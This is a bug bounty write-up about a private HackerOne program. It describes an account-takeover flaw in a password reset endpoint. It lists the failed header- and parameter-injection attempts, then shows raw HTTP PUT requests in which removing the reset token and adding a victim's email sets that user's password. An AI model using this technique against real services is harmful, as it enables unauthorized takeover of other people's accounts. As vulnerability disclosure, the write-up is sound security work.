Account Takeover: Exploiting Insecure Password Reset Logic for $3000
We were hunting one of the private programs on HackerOne. The scope of this program was limited to a single domain, which was hosting an internal admin panel on a staging environment for testing purposes.
We randomly tested various functionalities and focused on the password reset feature. Using our methodology for testing password reset functionality for Account Takeover (ATO), we tried several techniques, including:
- Modifying the
Host
header or adding additionalHost
,X-Forwarded-Host
, andX-Forwarded-For
headers to check if they reflected in the password reset link. - Adding an extra email parameter or creating an array of emails (using a JSON-formatted request).
However, none of these approaches worked.
Next, we examined the password reset link itself. We opened the link, replaced the credentials with new ones, and captured the request.
PUT /auth/api/v1/set-password HTTP/2
Host: target.com
Cookie: cookietest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/auth/password-reset?email=sushant_dhopat%40wearehackerone.com&new_user=false&reset_password_token=c9b34c009ccd5d1e05f0a6c7f55811ab94e6cb45ee287f26018cfb6848c9cf52&source_url=http%3A%2F%2Fbing.com
Content-Type: application/json
Origin: https://target.com
Content-Length: 150
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"password":"Ssd@9619979602","reset_password_token":"c9b34c009ccd5d1e05f0a6c7f55811ab94e6cb45ee287f26018cfb6848c9cf52","source_url":"https://target.com"}
Now, we started experimenting with this request. We observed that when the admin user invites different users to the team, the setup account link or email verification link uses the same URL as the password reset URL. Similarly, when the admin user sets a password for a particular user, the URL is identical to the password reset URL.
An idea struck us: we replaced the parameter reset_password
with email
, removed the reset_password_token
, and added an email
parameter containing the victim’s email address.
The request then looked like this:
PUT /auth/api/v1/set-password HTTP/2
Host: target.com
Cookie: cookietest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/auth/password-reset?email=sushant_dhopat%40wearehackerone.com&new_user=false&reset_password_token=c9b34c009ccd5d1e05f0a6c7f55811ab94e6cb45ee287f26018cfb6848c9cf52&source_url=http%3A%2F%2Fbing.com
Content-Type: application/json
Origin: https://target.com
Content-Length: 150
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"password":"Css@9619979602","email":"victim@gmail.com","source_url":"https://target.com"}
We sent the request, and unfortunately, the backend didn’t verify the password reset token. This allowed us to set a new password for victim@gmail.com
. Using this approach, we could set new passwords for any user without any interaction, leading to a full account takeover with just an email address.